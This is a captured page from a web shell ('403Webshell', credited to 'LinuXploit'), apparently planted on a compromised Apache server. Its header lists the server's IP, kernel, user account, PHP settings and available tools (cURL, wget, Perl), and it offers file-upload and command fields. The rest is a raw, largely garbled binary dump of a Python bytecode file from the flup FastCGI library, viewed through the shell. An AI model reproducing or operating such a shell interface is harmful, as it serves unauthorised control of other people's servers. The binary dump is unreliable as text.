403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.37
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/flup/client/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/flup/client/__pycache__/fcgi_app.cpython-311.pyc
�

#H\ax9����dZdZddlZddlZddlZddlZdgZdZdZdZ	dZ
dZdZd	Z
d
ZdZdZdZd
ZdZdZeZdZdZdZdZdZdZdZdZdZdZdZ dZ!dZ"dZ#dZ$dZ%ej&e#��Z'ej&e$��Z(ej&e%��Z)	ddl*Z*dZ+dZ,d�Z-d#d�Z.d�Z/Gd�de0��Z1Gd�de0��Z2e3dkr1dd l4m5Z5e2d!�"��Z6e5e6���7��dSdS)$zAllan Saddi <allan@saddi.com>z
$Revision$�N�FCGIApp���������	�
��FCGI_MAX_CONNS�
FCGI_MAX_REQS�FCGI_MPXS_CONNSz!BBHHBxz!HB5xz!LB3xz!B7xTz/tmp/fcgi_app.logc���t|krdS	ttd��}|�t	j��dd��d|�d���|���dS#YdSxYw)N�ar���zfcgi: �
)�DEBUG�open�DEBUGLOG�write�time�ctime�close)�level�msg�fs   �6/usr/lib/python3/dist-packages/flup/client/fcgi_app.py�_debugr!Zsu���5�=�=��F�	��X�s�#�#�A�
�G�G�d�j�l�l�1�R�4�&8�&8�&8�#�#�#�>�?�?�?�
�G�G�I�I�I�I�I��	��D�D���s�AA.�.A3c��t||��}|dzr/tjd|||dz���ddz}|dz
}n|dz
}t||��}|dzr/tjd|||dz���ddz}|dz
}n|dz
}||||z�}||z
}||||z�}||z
}|||ffS)zv
    Decodes a name/value pair.

    The number of bytes decoded as well as the name/value pair
    are returned.
    ��!Lrri���r)�ord�struct�unpack)�s�pos�
nameLength�valueLength�name�values      r �decode_pairr.es����Q�s�V���J��C����]�4��3�s�1�u�9��6�6�q�9�J�F�
��q�����q����a��f�+�+�K��S����m�D�!�C��A��I�,�7�7��:�Z�G���q�����q����S��Z��
� �D��:��C�
�c�#�k�/�!�"�E��;��C��$�����c��t|��}|dkrt|��}ntjd|dz��}t|��}|dkr|t|��z
}n|tjd|dz��z
}||z|zS)zI
    Encodes a name/value pair.

    The encoded string is returned.
    r#r$l)�len�chrr&�pack)r,r-r*r(r+s     r �encode_pairr4�s����T���J��C����
�O�O����K��j�:�5�6�6���e�*�*�K��S���	�S��
�
����	�V�[��{�Z�7�
8�
8�8���t�8�e��r/c�b�eZdZdZeefd�Zd�Zee��Zd�Z	d�Z
ee
��Z
d�ZdS)�RecordzD
    A FastCGI Record.

    Used for encoding/decoding records.
    c�d�t|_||_||_d|_d|_d|_dS)Nr�)�FCGI_VERSION_1�version�type�	requestId�
contentLength�
paddingLength�contentData)�selfr;r<s   r �__init__zRecord.__init__�s5��%�����	�"�������������r/c�b�g}d}|r�	|�|��}nI#tj$r7}|jtjkrtj|ggg��Yd}~�Y�d}~wwxYw|sn0|�|��t|��}||z
}||z}|��d�|��|fS)z�
        Attempts to receive length bytes from a socket, blocking if necessary.
        (Socket may be blocking or non-blocking.)
        rNr8)	�recv�socket�error�errno�EAGAIN�select�appendr1�join)�sock�length�dataList�recvLen�data�e�dataLens       r �_recvallzRecord._recvall�s���
�����	�
��y�y��(�(�����<�
�
�
��7�e�l�*�*��M�4�&�"�b�1�1�1��H�H�H�H������
�����
���O�O�D�!�!�!��$�i�i�G��w��G��g��F��	��w�w�x� � �'�)�)s��A$�,A�A�A$c�Z�	|�|t��\}}n#t�xYw|tkrt�tjt
|��\|_|_|_|_	|_
tdd|���|j|j|j	fz��|j	rC	|�||j	��\|_
}n#t�xYw||j	krt�|j
r*	|�||j
��dS#t�xYwdS)z'Read and decode a Record from a socket.Trz<read: fd = %d, type = %d, requestId = %d, contentLength = %dN)rR�FCGI_HEADER_LEN�EOFErrorr&r'�FCGI_Headerr:r;r<r=r>r!�filenor?)r@rK�headerrLs    r �readzRecord.read�sF��	�!�]�]�4��A�A�N�F�F�F��	��N�����O�#�#��N�,2�=��f�+M�+M�	)���d�i����1C��(��Q�!2�"�k�k�m�m�T�Y���"�0�2�!2�3�3�3�
��	�
�+/�=�=��9=�9K�,M�,M�(�� �&�&��
��������*�*�*�����	�
��
�
�d�D�$6�7�7�7�7�7��
������		�	s �!�	*�8#C�	C%�D�	D(c��t|��}|rs	|�|��}nI#tj$r7}|jtjkrt
jg|gg��Yd}~�Y�d}~wwxYw||d�}||z}|�qdSdS)zY
        Writes data to a socket and does not return until all the data is sent.
        N)r1�sendrDrErFrGrH)rKrOrL�sentrPs     r �_sendallzRecord._sendall�s����T�����
	�
��y�y��������<�
�
�
��7�e�l�*�*��M�"�t�f�b�1�1�1��H�H�H�H������
��������;�D��d�N�F��
	�
	�
	�
	�
	s�)�A/�,A*�)A*�*A/c���|jdz|_tdd|���|j|j|jfz��t
jt|j	|j|j|j|j��}|�
||��|jr|�
||j��|jr |�
|d|jz��dSdS)z&Encode and write a Record to a socket.rTrz=write: fd = %d, type = %d, requestId = %d, contentLength = %d�N)r=r>r!rWr;r<r&r3rVr:r]r?)r@rKrXs   r rzRecord.write�s���"�0�0�1�4����Q�!2�"�k�k�m�m�T�Y���"�0�2�!2�3�3�3�
��[�$�,��	�!�^�T�-?�!�/�1�1��	
�
�
�d�F�#�#�#���	2��M�M�$�� 0�1�1�1���	;��M�M�$��t�'9� 9�:�:�:�:�:�	;�	;r/N)�__name__�
__module__�__qualname__�__doc__�FCGI_UNKNOWN_TYPE�FCGI_NULL_REQUEST_IDrArR�staticmethodrYr]r�r/r r6r6�s���������
.�9M�����*�*�*�.�|�H�%�%�H� � � �D��� �|�H�%�%�H�;�;�;�;�;r/r6c�R�eZdZ		dd�Zd�Zd�Zd�Zd�Zgd�Zgd	�Z	iZ
d
�Zd�ZdS)
rNTc�X�|�|�J�||f}|�|�|�|�J�||_||_||_dS�N)�_command�_connect�_filterEnviron)r@�command�connect�host�port�
filterEnvirons      r rAzFCGIApp.__init__sS�����#�#�#��4�L�G��#�����G�$7�$7�$7���
���
�+����r/c���|���}d}tt|��}tjt
td��|_t|_	|�
|��|jr|�|��}n|�
|��}|�|||��|�||i��t|�d��pd��}	t#|d��}|d�|��}	|t'|	��z}tt(|��}|	|_t'|	��|_	|�
|��|	sn��tt*|��}|�
|��g}
	t��}|�|��|jt.kr#|jr|
�|j��nCnB|jt2kr!|d�
|j��n|jt4krn��|���d�|
��}
d	}g}
d}	|
�d
|��}|dkrn�|
||dz
�}|dz}|���}|sn�|�dd��\}}|���� ��}|���}|dkr!|}|�d
��dkr|dz
}n|
�||f����|
|d�}
|||
��|
gS)Nrr�CONTENT_LENGTHTiz
wsgi.inputzwsgi.errorsr8z200 OKr�:�status� z FCGIApp)!�_getConnectionr6�FCGI_BEGIN_REQUESTr&r3�FCGI_BeginRequestBody�FCGI_RESPONDERr?�FCGI_BeginRequestBody_LENr=rrm�_defaultFilterEnviron�_lightFilterEnviron�_fcgiParams�int�get�minrYr1�
FCGI_STDIN�	FCGI_DATAr;�FCGI_STDOUTrI�FCGI_STDERR�FCGI_END_REQUESTrrJ�find�strip�split�lower)r@�environ�start_responserKr<�rec�params�content_length�
chunk_sizer(�result�inrecrv�headersr)�eolpos�linerXr-s                   r �__call__zFCGIApp.__call__sV���"�"�$�$���	��'��3�3�� �+�&;�^�Q�O�O���5����	�	�$������	7��/�/��8�8�F�F��-�-�g�6�6�F�����y�&�1�1�1�����y�"�-�-�-��W�[�[�)9�:�:�?�a�@�@��		��^�T�2�2�J���%�*�*�:�6�6�A��c�!�f�f�$�N���Y�/�/�C��C�O� #�A���C���I�I�d�O�O�O��O�e�		��Y�	�*�*���	�	�$������	��H�H�E��J�J�t�����z�[�(�(��$���M�M�%�"3�4�4�4�4����{�*�*��
�&�,�,�U�->�?�?�?�?���/�/�/��	�(	
�
�
�����������������	0��[�[��s�+�+�F���z�z�5��#�f�Q�h�,�'�D��1�*�C��:�:�<�<�D����!�J�J�s�A�.�.�M�F�E��\�\�^�^�)�)�+�+�F��K�K�M�M�E���!�!����;�;�s�#�#�a�'�'��j�(�F��������/�/�/�3	0�6������	��v�w�'�'�'��x�r/c�B�|j��t|j��tur*tjtjtj��}n)tjtjtj��}|�|j��|Std���)Nz;Launching and managing FastCGI programs not yet implemented)	rlr;�strrD�AF_UNIX�SOCK_STREAM�AF_INETro�NotImplementedError)r@rKs  r rxzFCGIApp._getConnection�sy���=�$��D�M�"�"�c�)�)��}�V�^�V�5G�H�H����}�V�^�V�5G�H�H���L�L���'�'�'��K�"�"_�`�`�`r/c���tt��}g}|D]%}|�t|d�����&d�|��}||_t
|��|_|�|��t��}|�	|��i}|j
tkr8d}||jkr+t|j|��\}\}}	|	||<||jk�+|S)Nr8r)
r6�FCGI_GET_VALUESrIr4rJr?r1r=rrYr;�FCGI_GET_VALUES_RESULTr.)
r@rK�vars�outrecrOr,r�r�r)r-s
          r �_fcgiGetValueszFCGIApp._fcgiGetValues�s�����(�(�����	/�	/�D��K�K��D�"�-�-�.�.�.�.��w�w�t�}�}��!���"�4�y�y������T��������
�
�
�4�������:�/�/�/��C���+�+�+�%0��1B�C�%H�%H�"��]�d�E�$��t����+�+�+��
r/c�8�tt|��}g}|���D](\}}|�t	||�����)d�|��}||_t|��|_|�	|��dS)Nr8)
r6�FCGI_PARAMS�itemsrIr4rJr?r1r=r)r@rKr<r�r�rOr,r-s        r rzFCGIApp._fcgiParams�s����[�)�,�,���� �,�,�.�.�	2�	2�J�D���K�K��D�%�0�0�1�1�1�1��w�w�t�}�}�������I�I����	�	�$�����r/)�SERVER_�HTTP_�REQUEST_�REMOTE_�PATH_�CONTENT_)�SCRIPT_NAME�QUERY_STRING�	AUTH_TYPEc���i}|���D]_}|jD]"}|�|��r||||<�#||jvr||||<||jvr||||j|<�`|Srj)�keys�_environPrefixes�
startswith�_environCopies�_environRenames)r@r�r��n�ps     r r}zFCGIApp._defaultFilterEnviron�s����������	=�	=�A��*�
+�
+���<�<��?�?�+� '��
�F�1�I���D�'�'�'�#�A�J��q�	��D�(�(�(�29�!�*��t�+�A�.�/���
r/c�~�i}|���D]%}|���|kr||||<�&|Srj)r��upper)r@r�r�r�s    r r~zFCGIApp._lightFilterEnviron�sB���������	'�	'�A��w�w�y�y�A�~�~�#�A�J��q�	���
r/)NNNNT)
r`rarbrAr�rxr�rr�r�r�r}r~rgr/r rrs�������CG�#�,�,�,�,�$j�j�j�Xa�a�a����,���$�$�$��A�A�A�N��O��������r/�__main__)�
WSGIServer)�	localhosti�)ro)r)8�
__author__�__version__rHr&rDrF�__all__�FCGI_LISTENSOCK_FILENOrTr9ry�FCGI_ABORT_REQUESTr�r�r�r�r�r�r�r�rd�FCGI_MAXTYPEre�FCGI_KEEP_CONNr{�FCGI_AUTHORIZER�FCGI_FILTER�FCGI_REQUEST_COMPLETE�FCGI_CANT_MPX_CONN�FCGI_OVERLOADED�FCGI_UNKNOWN_ROLErrrrVrz�FCGI_EndRequestBody�FCGI_UnknownTypeBody�calcsizer|�FCGI_EndRequestBody_LEN�FCGI_UnknownTypeBody_LENrrrr!r.r4�objectr6rr`�flup.server.ajpr��app�runrgr/r �<module>r�s-��6-�
���
�
�
�
�
�
�
�
�
�
�
�
������+����������������
�
�����
�	������� ��������������������!���
�#����������+�F�O�,A�B�B��)�&�/�*=�>�>��*�6�?�+?�@�@����K�K�K�
�E�"�H�	�	�	� � � � �8���(k;�k;�k;�k;�k;�V�k;�k;�k;�ZD�D�D�D�D�f�D�D�D�L�z���*�*�*�*�*�*�
�'�-�
.�
.�
.�C��J�s�O�O���������r/

Youez - 2016 - github.com/yon3zu
LinuXploit